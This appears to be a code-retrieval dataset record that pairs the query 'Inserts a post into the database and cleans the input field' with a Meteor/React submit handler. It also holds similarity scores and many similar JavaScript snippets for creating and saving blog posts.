checkMessage(eachPost.description) + \"</p>\";\n content += endFormatContent;\n $(\"div#myfeed\").append(content);\n break;\n\n default:\n break;\n }\n\n });\n\n /*to style and append load more button*/\n content = \"\";\n content += \"<div class='row' id='feed'><div class='col-md-3 col-xs-12'></div><div class='col-md-8 col-xs-12' id='post'\\\n style='background-color: transparent; box-shadow: none'>\";\n content += \"<button class='btn btn-primary btn-center'>Load More</button>\";\n content += endFormatContent;\n $(\"div#myfeed\").append(content);\n\n }", "postRender() {\n for (const field of this.fields) {\n field.postRender()\n }\n }", "render(){\n const {data, comments} = this.props\n const hasComment = Boolean(comments && comments[data.id])\n return (\n (data) ?\n <div className=\"post\">\n <div className=\"post row\">\n <div className=\"col-xs-12\">\n <div className=\"col-sm-1\">\n <div className=\"pull-left center-text comments-block\">\n <span className=\"post-arrow-up clickable\" onClick={() => this.props.voteOnPost(data.id, 'upVote')}></span>\n <span className=\"post-votescore fw\">{data.voteScore}</span> \n <span className=\"post-arrow-down fw clickable\" onClick={() => this.props.voteOnPost(data.id, 'downVote')}></span>\n </div>\n </div>\n <div className=\"col-sm-10\">\n <div className=\"title\">\n <b><Link to={`/${data.category}/${data.id}`}> {data.title}</Link></b> \n </div>\n <span className=\"section\">\n <span className=\"author-name\">by {data.author} | </span>\n <span className=\"date\">{getCreatedDate(data.timestamp)} | </span>\n <span className=\"post-comments\">{hasComment ? comments[data.id].length : 0} {hasComment && comments[data.id].length === 1 ? `comment` : `comments`} | </span>\n <Link to={`/edit/${data.id}`} className=\"edit clickable\">edit</Link > | \n <span className=\"post-delete clickable\" onClick={() => this.props.deletePostById(data.id)}> delete</span>\n </span>\n </div>\n <div className =\"row\">\n <div className= \"col-sm-2\"/>\n <div className =\"col-sm-10\">\n <div className=\"body\">\n {this.props.data.body}\n </div>\n </div>\n </div>\n <div>\n <div>\n {this.getCommentsForPost()}\n <AddNewComment\n key={data.id}\n addNewComment={this.props.addNewComment}\n post={this.props.data}\n />\n </div>\n </div>\n </div>\n </div>\n </div>: <div></div>\n \n );\n }" ]
[ "0.61182576", "0.5912436", "0.58889496", "0.57879543", "0.56358844", "0.56314814", "0.5619365", "0.56162083", "0.5608769", "0.55909544", "0.55852175", "0.55669296", "0.5553776", "0.5478806", "0.547557", "0.5475503", "0.5461073", "0.5441703", "0.5427389", "0.54198253", "0.54195386", "0.5392491", "0.53897756", "0.5375007", "0.5367513", "0.5363467", "0.5346402", "0.5344775", "0.53410804", "0.53107285", "0.5294472", "0.52937496", "0.528014", "0.5273955", "0.52730525", "0.52651584", "0.52581406", "0.525375", "0.52413285", "0.5240485", "0.5238142", "0.5228471", "0.5223892", "0.5222918", "0.52160186", "0.517396", "0.5171972", "0.5165429", "0.51595104", "0.5158824", "0.5154803", "0.5153791", "0.51516616", "0.5138855", "0.513566", "0.513542", "0.51287514", "0.5126085", "0.5114148", "0.51095444", "0.51074475", "0.50986814", "0.5096981", "0.50965315", "0.50901234", "0.508799", "0.50848085", "0.5075867", "0.5073976", "0.50684047", "0.5067495", "0.50668615", "0.50658244", "0.5063365", "0.5036715", "0.50361466", "0.5030471", "0.5030335", "0.50112444", "0.50052327", "0.50013334", "0.49982357", "0.49981984", "0.4997527", "0.49975142", "0.49856937", "0.4984693", "0.4983275", "0.49797514", "0.49746972", "0.49736822", "0.49663973", "0.49513265", "0.49476376", "0.4942036", "0.4939148", "0.49322402", "0.49301422", "0.49275747", "0.4926599" ]
0.75782025
0
Inserts a post into the database and cleans the input field
handleSubmit(event){ event.preventDefault(); const text = ReactDOM.findDOMNode(this.refs.textInput).value.trim(); Meteor.call('posts.insert', text); ReactDOM.findDOMNode(this.refs.textInput).value = ''; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function submitPost(e){\n e.preventDefault();\n var title = e.target.title.value;\n var description = e.target.description.value;\n \n // form must be complete\n if (!title.length || !description.length){\n return false;\n }\n \n Posts.insert({\n title: title,\n description: description,\n creationDate: new Date(),\n owner: Meteor.userId(),\n username: Meteor.user().username\n });\n \n // clear posts writing form\n e.target.reset();\n Session.set('writingPost', false);\n}", "insert() {\r\n var sql = 'INSERT INTO post (id, title, text) VALUES (?,?,?)'\r\n var params = [this.id, this.title, this.text]\r\n db.run(sql, params, function (err, result) {\r\n if (err) {\r\n throw err // TODO: useful error handling here...\r\n return\r\n }\r\n });\r\n }", "function addPost() {\n //check to ensure the mydb object has been created\n if (mydb) {\n\n var onwer = document.getElementById(\"UserName\").value; \n var content = document.getElementById(\"content\").value;\n var status = document.getElementById(\"status\").value;\n\n //Test to ensure that the user has entered both a make and model\n if (onwer !== \"\" && content !== \"\") {\n mydb.transaction(function (t) {\n t.executeSql(\"INSERT INTO normalPOST (post_onwer, content,status) VALUES (?, ?, ?)\", [onwer, content,status]);\n outputPOST();\n });\n } else {\n alert(\"You must enter all information!\");\n }\n } else {\n alert(\"db not found, your browser does not support web sql!\");\n }\n}", "function runPOST() {\n // Prevent the page from refreshing\n event.preventDefault();\n\n // Get inputs\n postTitle = $(\"#title-post\").val().trim();\n post = $(\"#post\").val().trim();\n imgProfile = $(\"#profile-img\").val().trim();\n username = $(\"#username\").val().trim();\n\n emptyAll();\n\n // Change what is saved in firebase\n database.ref(\"Chuck\").push({\n postTitle: postTitle,\n post: post,\n imgProfile: imgProfile,\n username: username\n });\n}", "async function insertNewPost(post) {\n post = extractValidFields(post, PostSchema);\n const [ result ] = await mysqlPool.query(\n 'INSERT INTO posts SET ?',\n post\n );\n \n return result.insertId;\n }", "function addPost(post) {\n return db.query(\"insert into post (user_id, post_subject, post_content, post_topic_code) \"\n + \"values ( ?, ?, ?, ? );\", [post.user_id, post.subject, post.content, post.topic]);\n}", "function onSubmit (event) {\n event.preventDefault()\n db.post({\n title: value('title'),\n body: value('body')\n })\n event.target.reset()\n}", "function insertPost(post) {\n let insertSQL = `INSERT INTO posts(title, author, date, description, content)\n VALUES(?, ?, ?, ?, ?)`;\n\n let post_array = [post.title, post.author, post.date, post.description, post.content];\n\n let database = new Database(config);\n\n database.query(insertSQL, post_array)\n .catch(err => {\n database.close();\n throw err;\n });\n}", "function saveNewPost(request, response) {\n console.log(request.body.message);\n console.log(request.body.author);\n //write it on the command prompt so we can see\n let post= {};\n let cleanAuthor = filter.clean(request.body.author);\n post.author = sanitizer.sanitize(cleanAuthor);\n let cleanMessage = filter.clean(request.body.message);\n post.message = sanitizer.sanitize(cleanMessage);\n let cleanImage = filter.clean(request.body.image);\n post.image = sanitizer.sanitize(cleanImage);\n if (post.image == \"\") {\n post.image = \"http://4.bp.blogspot.com/-NVNKQIypEFk/T82Of_w1KiI/AAAAAAAAAQE/WXTMrw3dUb8/s1600/mickey-mouse-and-minnie-mouse-cooking-coloring-pages-1.jpg\";\n }\n post.time = new Date();\n post.id = Math.round(Math.random() * 10000);\n posts.push(post);\n response.send(\"thanks for your message. Press back to add another\");\n databasePosts.insert(post);\n}", "function addPost(post) {\n const sql = 'INSERT INTO post (title, details, creatorID, tags) VALUES (?, ?, ?, ?);';\n /* Replaced to db.query, to allow apostrophe input. */\n // eslint-disable-next-line max-len\n return db.query(sql, [post.title, post.details, post.creatorID, post.tags]);\n}", "function insertPost(){\n const liveEdit = $.createElement('div');\n const viewPostsWrap = $.querySelector('.view-posts-wrap');\n var date = new Date();\n var currentDate = `${date.getDate()}/${date.getMonth() + 1}/${date.getFullYear()}`;\n liveEdit.setAttribute(\"class\", \"live-edit\");\n const postHeading = $.createElement('h4');\n postHeading.innerHTML = \"All Posts\";\n postHeading.setAttribute(\"class\", \"post-header\");\n app.appendChild(postHeading);\n allPosts.setAttribute(\"class\", \"all-posts\")\n app.appendChild(allPosts);\n const liveHeading = $.createElement('h4');\n liveHeading.innerHTML = \"Live Edit\";\n liveHeading.setAttribute(\"class\", \"live-header\");\n viewPostsWrap.prepend(liveEdit);\n viewPostsWrap.prepend(liveHeading);\n\n //Live Edit\n if(liveEdit.innerHTML == 0){\n liveEdit.innerHTML = `<h3 class=\"empty-value\">Empty!</h3>`;\n }\n postInsert.addEventListener('keyup', function(){\n liveEdit.innerHTML = `\n <p>Published Date: ${currentDate}</p>\n <h3><span class=\"first-letter\">${titleField.value.charAt(0)}</span>${titleField.value}</h3>\n <p>${contentField.value}</p>\n `;\n if (titleField.value.length == 0){\n $.querySelector('.first-letter').setAttribute(\"style\", \"display: none\");\n }\n })\n\n //add post\n $.querySelector('.add-post').addEventListener(\"click\", function(e){\n var newPost = `\n <li class=\"each-post\">\n <p>Published Date: ${currentDate}</p>\n <h3><span class=\"first-letter\">${titleField.value.charAt(0)}</span>${titleField.value}</h3>\n <p>${contentField.value}</p>\n </li>\n `;\n if (titleField.value && contentField.value) {\n allPosts.insertAdjacentHTML('afterbegin', newPost)\n } else{\n alert(\"Missing data!\");\n }\n\n // clear field value\n titleField.value = '';\n contentField.value = '';\n liveEdit.innerHTML = '';\n if (liveEdit.innerHTML == 0) {\n liveEdit.innerHTML = `<h3 class=\"empty-value\">Empty!</h3>`;\n }\n\n //comment init\n cmtLikeArea();\n })\n\n }", "onSubmit(e){\r\n\t\te.preventDefault()\r\n\r\n\t\tconst {user} = this.props.auth\r\n\t\t//create the new post based on the user inputs\r\n\t\tconst newPost = {\r\n\t\t\tcategory: this.state.category,\r\n\t\t\tdescription: this.state.description,\r\n\t\t\titem_condition: this.state.item_condition,\r\n\t\t\tasked_price: this.state.asked_price,\r\n\t\t\tcity: this.state.city,\r\n\t\t\tname: user.name,\r\n\t\t}\r\n\r\n\t\tthis.props.createPost(newPost)\r\n\r\n\t\t//refresh the inputs after the post was created\r\n\t\tthis.setState({\r\n\t\t\tcategory: '',\r\n\t\t\tdescription: '',\r\n\t\t\titem_condition: '',\r\n\t\t\tasked_price: '',\r\n\t\t\tcity: ''\r\n\t\t})\r\n\t}", "function createBlog() {\n let inputTitle = document.getElementById('addTitle').value;\n let inputSum = document.getElementById('addSummary').value;\n if (inputTitle == null || inputTitle == '') {\n alert('Title Cannot Be Empty!');\n document.getElementById('addTitle').value = \"\";\n document.getElementById('addSummary').value = \"\";\n } else if (inputSum == null || inputSum == ''){\n alert('Summary Cannot Be Empty!');\n document.getElementById('addTitle').value = \"\";\n document.getElementById('addSummary').value = \"\";\n } else {\n inputTitle = DOMPurify.sanitize( inputTitle );\n inputSum = DOMPurify.sanitize( inputSum );\n let strL = username.split(\"+\");\n\n datebase.collection(\"blog\").add({\n title: inputTitle,\n summary: inputSum,\n date: new Date(),\n author: strL[0],\n email: strL[1],\n uid: strL[2]\n }).then((ref) =>{\n console.log(\"Blog ID: \" + ref.id);\n }).catch ((err) => {\n console.log(\"Error adding blog: \", err);\n })\n\n document.getElementById('addTitle').value = '';\n document.getElementById('addSummary').value = '';\n }\n}", "function addPost() {\n vm.newPost.userId = vm.userId;\n Post\n .create(vm.newPost)\n .$promise\n .then(function(post) {\n vm.postForm.$setPristine();\n $state.go('blog');\n });\n }", "handleSubmit(event) {\n event.preventDefault();\n\n const text = ReactDOM.findDOMNode(this.refs.textInput).value.trim();\n\n Meteor.call('mensajes.insert', text, this.props.location.state.idMensajes);\n\n ReactDOM.findDOMNode(this.refs.textInput).value = '';\n }", "submitPost(e) {\n e.preventDefault();\n\n if(this.props.router.match.params.postId != null)\n Meteor.call('post.update', this.props.router.match.params.postId, this.state, (err, results) => {\n if(err){\n console.log(err)\n }else{\n\n }\n });\n else\n Meteor.call('posts.insert', this.state, (err, results) => {\n if(err)\n console.log(err)\n });\n\n this.props.router.history.push(\"/\");\n }", "function publishPost() {\r\n\tif(writePostBox.value == \"\") {return}\r\n\ttext = writePostBox.value\r\n\taddPost(text)\r\n\tclearPostBox()\r\n}", "async newPost(userPost) {\n const { handle, email, post } = userPost;\n const toLower = handle.toLowerCase();\n const params = {\n TableName: TABLE_NAME,\n Item: {\n handle: toLower,\n email: email,\n post: post,\n }\n };\n await ddbDocClient_1.ddbDocClient.send(new lib_dynamodb_1.PutCommand(params));\n }", "function handleFormSubmit() {\n // Wont submit the post if we are missing a body, title, or author\n if (!nameSelect.val() || !dateSelect.val().trim() || !categorySelect.val() || !taskSelect.val() || !timeSelect.val() || !programId.val().trim()) {\n return;\n }\n // Constructing a newPost object to hand to the database\n var newEntry = {\n employee_id: userName,\n name: nameSelect.val(),\n\n // may need to reformat date information for mySQL?\n date: dateSelect.val(),\n category: categorySelect.val(),\n task: taskSelect.val(),\n timespent: timeSelect.val(),\n program: programId.val().trim(),\n ecr: inputEcr.val(),\n notes: inputNotes.val(),\n };\n submitTableRow(newEntry);\n }", "function updatePost(e){\n e.preventDefault();\n \n var newTitle = e.target.title.value;\n var newDescription = e.target.description.value;\n \n // post fields cannot be empty\n if (!newTitle.length || !newDescription.length){\n return false;\n }\n \n Posts.update(this._id, {\n $set: {\n title: newTitle,\n description: newDescription\n }\n });\n \n Session.set('editingPost', null);\n}", "function postPost(req, res) {\n let post = req.body;\n addExtraPostProperties(post);\n log.msg('adding post ' + JSON.stringify(post));\n postModel\n .create(post)\n .then(() => {\n addPostToBackup(post);\n res.status(200).send();\n })\n .catch((err) => {\n res.status(500).send(err);\n log.err('post_database:postPost:' + err);\n });\n}", "sendPost(event) {\n event.preventDefault();\n\n // will not send blank posts\n if (this.text.value === '') {\n return;\n }\n\n const post = {\n poster: this.props.username,\n id: this.props.userid,\n text: this.text.value\n }\n\n this.props.addPost(post, this.props.threadid);\n this.addForm.reset();\n }", "function saveComment() {\n const comment = document.getElementById('comment').value;\n\n db.collection('posts').add({\n post: comment,\n })\n .then((docRef) => {\n console.log('Document written with ID: ', docRef.id);\n document.getElementById('comment').value = '';\n })\n .catch((error) => {\n console.error('Error adding document: ', error);\n });\n}", "newPost(post) {\n\n }", "function postEntry() {\n var entry = cfg.defaultEntry(),\n useLocation = $(cfg.select.ids.formLocation).prop('checked');\n\n entry.entryID = cfg.counter + 1;\n entry.title = $(cfg.select.ids.formTitle).val();\n entry.description = $(cfg.select.ids.formDesc).val();\n\n if (!entry.title || !entry.description) {\n return;\n }\n\n addEntryToDOM([entry]);\n storeEntry(entry);\n addMarker(entry);\n notifyUser('Your entry was posted successfully!');\n\n if (true === useLocation) {\n updateLocation(entry.entryID);\n }\n }", "function clickSubmit(){\n if(checkListFull()){\n alert(\"Please fill in your text for the post. the MAIN THING?\");\n return;\n }\n if(document.getElementById('tag-input').value.split(\" \").length<5){\n alert(\"Please fill in your TAGS also minimum of 5 tags man.,\",\n \" think \\\"How will people find my data???\\\" \");\n return;\n }\n if(!document.getElementById('title-input').value){\n alert(\"Fill in a title. make it stand out !:)\");\n return;\n }\n //now we made sure they have all the right values.\n myPost=new newListPost();\n console.log(\"Hey you finally made your text post: here it is:::!\", myPost);\n\n/// almost like a cancle but it doesnt free the memory of the object\n// and we dont send the object to the server.\ndocument.getElementById('tag-input').value=\"\";\ndocument.getElementById('title-input').value=\"\";\ndocument.getElementById('list-title-input').value=\"\";\n\n//clean up the entries.\nvar entries=document.getElementsByClassName('list-entry');\nvar n=entries.length;\nfor(var iter=0;iter<n;iter++){\n removeLastItem();\n}\n}", "savePost() {\n if (!this.props.content) {\n this.props.sendError('You have not changed anything')\n } else {\n if (typeof this.props.content.content === \"string\") {\n this.props.content.content = this.props.post.content\n }\n this.props.saveEditedPost({ content: this.props.content, history: this.props.history, id: this.props.match.params.id })\n }\n }", "function submitPost() {\n // add to database\n return new Promise( function(resolve) {\n // Create object and set up request\n let xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function() {\n if (this.readyState === 4 && this.status === 200) {\n resolve(this.responseText);\n }\n };\n\n // Get new post information, build query string\n let topics = document.getElementsByName(\"topic\");\n let topic = \"\";\n for (let option of topics) {\n if (option.checked) {\n topic = option.value;\n break;\n }\n }\n let queryString = \"username=\" + id(\"name\").value +\n \"&title=\" + id(\"post-title\").value +\n \"&content=\" + id(\"post-content\").value +\n \"&topic=\" + topic;\n\n // Pass query information into server script for POST request\n xhttp.open(\"POST\", \"../backend/new_post.php\", true);\n xhttp.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n xhttp.send(queryString);\n });\n }", "async addPost(_, {\n title, content, published\n }, { authUser }) {\n // Make sure user is logged in\n if (!authUser) {\n throw new Error('You must log in to continue!');\n }\n const user = await db.user.findOne({ where: { id: authUser.id } });\n\n return db.post.create({\n userId: user.id,\n title,\n content,\n published\n });\n }", "function submitPost(){\n const title = document.querySelector('#title').value;\n const body = document.querySelector('#body').value;\n const id = document.querySelector('#id').value;\n\n const data = {\n title, // em ES6, esta linha equivale a title:title\n body // em ES6, esta linha equivale a body:body\n }\n\n // verifica que campos do form nao estao vazios\n if (title === '' || body === '') {\n ui.showAlert('Please fill in all fields', 'alert alert-danger');\n } else {\n\n // condicional verifica se eh um estado de ADD ou EDIT, pois o campo oculto de ID vem vazio por padrao, e eh limpo ao cancelar o estado de edicao\n if (id === '') {\n // cria post\n http.post('http://localhost:3000/posts', data)\n .then(data => {\n // confirma envio do post\n ui.showAlert('Post added', 'alert alert-success');\n // limpa campos do formulario\n ui.clearFields();\n \n // retorna na interface todos os posts, inclusive o que acabamos de adicionar\n getPosts();\n })\n .catch(err => console.log(err));\n } else {\n // edita post\n http.put(`http://localhost:3000/posts/${id}`, data)\n .then(data => {\n // confirma edicao do post\n ui.showAlert('Post updated', 'alert alert-success');\n // retorna estado para ADD\n ui.changeFormState('add');\n \n // retorna na interface todos os posts, inclusive o que acabamos de editar\n getPosts();\n })\n .catch(err => console.log(err));\n \n }\n }\n}", "save() {\n this.resetErrors();\n\n // Get the properties from the controller\n const title = this.get('title');\n const body = this.get('body');\n\n // Validation\n if (Ember.isEmpty(title)) {\n this.set('errors.title', 'Title is empty!');\n }\n if (Ember.isEmpty(body)) {\n this.set('errors.body', 'Body is empty!');\n }\n if (Ember.isEmpty(title) || Ember.isEmpty(body)) {\n return;\n }\n\n // Create a new `post` using the new values\n const post = this.store.createRecord('post', {\n title,\n body\n });\n\n // Save the new post, which returns a promise for error handling\n post.save()\n .then(() => {\n // Happy path\n this.resetFields();\n this.resetErrors();\n this.transitionTo('posts.post', post);\n })\n .catch(() => {\n // Sad path\n });\n }", "function post_solution() {\n\n\t// get problem name, problem link, explaination, and solution link from user.\n\tvar problem_name = document.forms[\"solutions\"][\"problem_name\"].value;\n\tvar problem_link = document.forms[\"solutions\"][\"problem_link\"].value;\n\tvar explaination = document.forms[\"solutions\"][\"explaination\"].value;\n\tvar solution_link = document.forms[\"solutions\"][\"solution_link\"].value;\n\n\t// check if any field is blank\n\tif (problem_name == \"\" || problem_link == \"\" || explaination == \"\" || solution_link == \"\") {\n\t\talert(\"cannot leave anything blank.\");\n\t\treturn;\n\t}\n\t\n\t// get a ref to blogs child.\n\tvar ref = database.ref(\"blogs\");\n\n\t// create a data object\n\tvar data = {\n\t\tproblem_name: problem_name,\n\t\tproblem_link: problem_link,\n\t\texplaination: explaination,\n\t\tsolution_link: solution_link\n\t}\n\n\t// push data to database\n\tref.push(data);\n}", "function insertRecord(req, res) {\n\n if(req.file) {\n\tvar post = new BlogPost();\n post.title = req.body.title;\n post.content = req.body.content;\n post.url = req.body.url;\n post.description = req.body.description;\n post.image = req.file.location;\n post.author = req.user.username;\n \n post.save((err, doc) => {\n if (!err) {\n res.redirect('post/blogPost');\n }\n });\n } else {\n res.render('create-post', {content: req.body}); // reload create post a pass content back in\n \n }\n\n}", "function addPost (req,res){\n var psts=[\n {title:\"رونالدو: أصبحت جزءاً من تاريخ كرة القدم\",description:'sssss'},\n {title:\"بايرن يعير بادشتوبر إلى شالكه\",description:'ssssssss'},\n {title:\"أنشيلوتي: الأندية الأوروبية في مأمن من الإنفاق الصيني\",description:'ssssss'}\n ];\n \n // var newPost=Post({\n // title:\"رونالدو: أصبحت جزءاً من تاريخ كرة القدم\",description:'sssss'\n // });\n //use the Post model to insert/save\n //but first we need to remove the whole data before insering the new once, notice in realy data sitution we should't do that, but here we do that just as an example\n Post.remove({},()=>{\n for(pst of psts){\n var newPost=new Post(pst); //here we create a new instance of Post model and add to it the post array of objects\n newPost.save();// here we use the save method of the object post or its instance which we call iet newPost to save data\n }\n // save the Post\n newPost.save(function(err) {\n if (err) throw err;\n console.log('Database seeded');\n });\n })\n \n res.send(\"Every thing is ok\") ;\n }", "static insertPost(req) {\n return new Promise((resolve, reject) => {\n\n let tagattach = '';\n\n for (let i = 0; i < req.tag.length; i++) {\n\n tagattach += req.tag[i].value + ',';\n\n }\n\n tagattach = tagattach.slice(0, tagattach.length - 1);\n\n models.postmodel.create({\n title: req.title,\n content: req.content,\n postedby: req.postedby,\n tag: tagattach,\n views: 0,\n postedon: new Date()\n })\n .then(newPost => {\n console.log(newPost);\n resolve(newPost);\n }, (error) => {\n reject(error);\n });\n });\n }", "static async create(postData) {\n return new Promise(async (resolve, reject) => {\n try {\n const { title, pseudonym, post_body } = postData;\n let result = await db.query(`INSERT INTO thoughts (title, pseudonym, post_body) VALUES ($1, $2, $3) RETURNING *;`, [title, pseudonym, post_body]);\n let newPost = new Post(result.rows[0])\n resolve(newPost);\n\n } catch (err) {\n reject('Post could not be created');\n }\n });\n }", "sendPost() {\n // Construct `post` object to push to firebase\n // Include the user's name, email, imgage of \n // user's house .etc (user input information)\n let post = {\n name: this.props.name,\n email: this.props.email,\n family: this.props.family,\n price: this.props.price,\n school: this.props.school,\n street: this.props.street,\n city: this.props.city,\n sta: this.props.sta,\n zip: this.props.zip,\n description: this.props.description,\n img: this.props.img,\n timestamp: firebase.database.ServerValue.TIMESTAMP,\n userid: firebase.auth().currentUser.uid\n }\n let haveEmpty = false;\n\n Object.values(post).map((d) => {\n if (d === '') {\n haveEmpty = true;\n }\n })\n\n if (!haveEmpty) {\n this.postsRef.push(post).catch((d) => console.log(\"error\", d))\n toast.info(\"Hooray! Input received! We will contact you as soon as possible via your provided email address!\", {\n position: toast.POSITION.TOP_CENTER\n });\n } else {\n toast.error(\"Please fill out all the information\", {\n position: toast.POSITION.TOP_CENTER\n });\n }\n }", "function handlePosts() {\n\tvar posts = [\n\t\t{ id: 23, title: 'Daily JS News' },\n\t\t{ id: 52, title: 'Code Refactor City' },\n\t\t{ id: 105, title: 'The Brightest Ruby' },\n\t];\n\n\tposts.forEach(function (post) {\n\t\tsavePost(post);\n\t});\n}", "function createPost() {\n}", "function submit(){\n\tvar codeSnippet = {\n\n\t\ttitle:$(\"#title\").val(),\n\t\tcode:$(\"#code\").val(),\n\t\ttagIt:$(\"#tagIt\").val(),\n\t\tcomments: $(\"#comments\").val()\n\n\n\t}; \n\n\t// this line clears out the form \n \t$('#title, #code, #tagIt , #comments').val('');\n\n \t// add to firebase repository \n\tobjectsInFirebase.push(codeSnippet);\n\n\n}", "createPost(event){\n // prevent default stops the page from auto reloading on form submit\n event.preventDefault();\n // this grabs the data from the form \n let formData = event.target;\n // creates a JavaScript object\n let rawPost = {\n body: formData.body.value\n };\n // console.log(\"creating the post\")\n PostService.createPost(rawPost);\n // form reset says go clear that form\n formData.reset();\n _draw();\n }", "async function insertPost() {\n const res = await blogger.posts.insert({\n // blogId: '1256155911765259230', // LTHWBlogger\n blogId: blogId,\n requestBody: {\n title: 'New post inserted from nodejs',\n content: '<h3>h3 title</h3>'\n }\n }, function(err, res) {\n if (err) {\n console.error(err);\n }\n console.log(res.data);\n return res.data;\n })\n}", "function pet_insert() {\n\tdb.transaction(pet_insert_db, errorDB, successDB);\n}", "function postQuote(e){\n e.preventDefault()\n quote = document.getElementById(\"new-quote\").value\n author = document.getElementById(\"author\").value\n adapter.postQuote(quote, author, addQuoteFromPost)\n document.getElementById(\"new-quote\").value = \"\"\n document.getElementById(\"author\").value = \"\"\n }", "function onSubmit() {\n const post = { postHeader, postContent, creatorName, postId: shortid.generate() }\n submitPost(post)\n }", "'submit .new-note'(event) {\n // Prevent default browser form submit\n event.preventDefault();\n\n // Get value from form element\n const target = event.target;\n const text = target.text.value;\n\n // Insert a note into the collection\n Meteor.call('notes.insert', text);\n\n // Clear form\n target.text.value = '';\n }", "function postBlog(){\n\tvar postContent = document.getElementById('ripple-put-blog').value.trim();\n\n\tif(postContent === undefined || postContent.length === 0){\n\t\talert('Please enter something to post');\n\t\treturn;\n\t}\n\n\tvar postBlogxhrq = new XMLHttpRequest();\n\tvar postBlogURL = 'http://127.0.0.1:3000/postBlog';\n\tvar contentSection = document.getElementById('sub-content-content');\n\tvar postHTML = '<p class=\"ripple-post-date\">{%PostDate%}</p>' + \n\t\t\t\t '<p class=\"ripple-post-content\">{%PostContent%}</p>' + \n\t\t\t\t '<p class=\"ripple-post-likes\">{%PostLikes%} Likes</p>';\n\tvar enterPost = '<textarea class=\"ripple-put-blog\" id=\"ripple-put-blog\"></textarea>' + \n\t\t\t\t '<button class=\"common-btn ripple-post-btn\" id=\"ripple-post-btn\">Post</button>';\n\n\t// get current date\n\tvar today = new Date();\n\tvar dd = today.getDate();\n\tvar mm = today.getMonth()+1;\n\tvar yyyy = today.getFullYear();\n\n\tif(dd<10) dd = '0' + dd;\n\tif(mm<10) mm = '0' + mm;\n\n\ttoday = yyyy + '-' + mm + '-' + dd;\n\n\tvar newPost = {};\n\tnewPost['userID'] = sessionStorage.getItem('user_id');\n\tnewPost['content'] = postContent;\n\tnewPost['date'] = '' + today;\n\tnewPost['like'] = 0;\n\n\tpostBlogxhrq.open('post', postBlogURL, true);\n\tpostBlogxhrq.onreadystatechange = function(){\n\t\tif(postBlogxhrq.readyState === XMLHttpRequest.DONE){\n\t\t\tvar resMsg = JSON.parse(postBlogxhrq.responseText);\n\t\t\tif(resMsg['message'] === 'good'){\n\t\t\t\talert('Add a New Entry!');\n\t\t\t\tpostHTML = postHTML.replace('{%PostDate%}', today);\n\t\t\t\tpostHTML = postHTML.replace('{%PostContent%}', postContent);\n\t\t\t\tpostHTML = postHTML.replace('{%PostLikes%}', 0);\n\n\t\t\t\tvar newLi = document.createElement('li');\n\t\t\t\tnewLi.innerHTML = postHTML;\n\n\t\t\t\tvar postArea = document.getElementById('ripple-post-area');\n\t\t\t\tcontentSection.removeChild(postArea);\n\t\t\t\tcontentSection.appendChild(newLi);\n\n\t\t\t\tvar enterDiv = document.createElement('div');\n\t\t\t\tenterDiv.setAttribute('id', 'ripple-post-area');\n\t\t\t\tenterDiv.innerHTML = enterPost;\n\n\t\t\t\tcontentSection.appendChild(enterDiv);\n\t\t\t}else{\n\t\t\t\talert('New Post Failed!');\n\t\t\t}\n\n\t\t}\n\t};\n\tpostBlogxhrq.send(JSON.stringify(newPost));\n}", "function createPost() {\n\n // You can get rid of this console.log statement once you've set the\n // event listener correctly\n console.log('You set the event listener correctly!!!');\n\n // TODO: Collect the values from the form and store them in an \n // object literal to represent a post\n let post = {\n id: (new Date().getTime()).toString(),\n title: document.getElementById(\"t_title\").value,\n summary: document.getElementById(\"ta_summary\").value\n };\n\n // TODO: Clear the form entries so they don't have the previous input\n document.getElementById(\"t_title\").value=\"\";\n document.getElementById(\"ta_summary\").value=\"\";\n /* \n * TODO: Create HTML for the post by passing in post object created earlier\n * as a parameter to the createPostHTML function. Make sure to implement\n * the createPostHTML function now before moving on\n */\n\n // TODO: Add the HTML for the post that was created in the createPostHTML\n // function into the ul tag in index.html\n var post_list = document.getElementById(\"post-list\");\n post_list.insertAdjacentHTML(\"afterend\",createPostHTML(post));\n\n /* \n * TODO: Save the post to local storage by passing in the post object as \n * a parameter to the save function\n * DON'T DO UNTIL SPECIFIED IN THE WRITE-UP\n */\n\n savePost(post);\n}", "function pet_insert_db(tx) {\n\n\tvar nome = $(\"#pet_nome\").val();\n var qtd = $(\"#pet_qtd\").val();\n var preco = $(\"#pet_preco\").val();\n\n //converter \n qtd = parseInt(qtd); \n preco = parseFloat(preco);\n\n //parar a inserção chama validação do forms jquery\n if(nome.length < 3 || qtd <=0 || preco <=0 ){\n return false;\n }\n if(nome =='' || qtd =='' || preco ==''){\n return false;\n }\n \n\n //-------------------------------------------------\n tx.executeSql('INSERT INTO Pet (nome, qtd, preco) VALUES (\"' + nome.toUpperCase() + '\", \"' + qtd + '\", \"' + preco + '\")');\n \n cadastrado();\n\n\tpet_view();\n}", "function createPost(doc) {\n// creates the elements \n // creates a new div for the container aka. creates the post box\n var post = document.createElement(\"div\");\n // create an img element\n var img = document.createElement(\"img\");\n // create a p element for the caption\n var caption = document.createElement(\"p\");\n // create a p element for the x \n var x = document.createElement(\"p\");\n// set the inputs into the elements\n // img element\n img.src = doc.data().image;\n // caption element\n caption.innerHTML = doc.data().caption;\n // x element\n x.innerHTML = \"x\";\n// connect caption and img to post and then post to container\n post.appendChild(x);\n post.appendChild(img);\n post.appendChild(caption);\n document.getElementById(\"container\").appendChild(post);\n// adding classes to elements\n post.classList.add(\"post\");\n img.classList.add(\"image\");\n caption.classList.add(\"caption\");\n x.classList.add(\"x\");\n// remove the post when clicked\n var post_id = doc.id;\n post.id = post_id;\n\n x.addEventListener(\"click\", function() { \n document.getElementById(post_id).remove();\n db.collection(\"posts\").doc(post.id).delete();\n });\n}", "function handlePosts() {\n var posts = [\n { id: 23, title: 'Daily JS News' },\n { id: 52, title: 'Code Refactor City' },\n { id: 105, title: 'The Brightest Ruby' }\n ];\n \n for (var i = 0; i < posts.length; i++) {\n savePost(posts[i]);\n }\n}", "function createPost() {\n // Check length of title max: 256 chars\n if (postTitle.value.length > 255) {\n return 0;\n }\n\n // If title is within max length, create post\n fetch(\"/session\")\n .then((response) => response.json())\n .then((userData) => {\n console.log(\"fetched user: \" + userData);\n\n postData(\"/api/posts\", {\n title: postTitle.value,\n content: postContent.value,\n userId: userData.user_id,\n }).then((data) => {\n loadDashboardPosts();\n });\n });\n}", "function handleFormSubmit(event) {\n event.preventDefault();\n // Wont submit the post if we are missing a body, 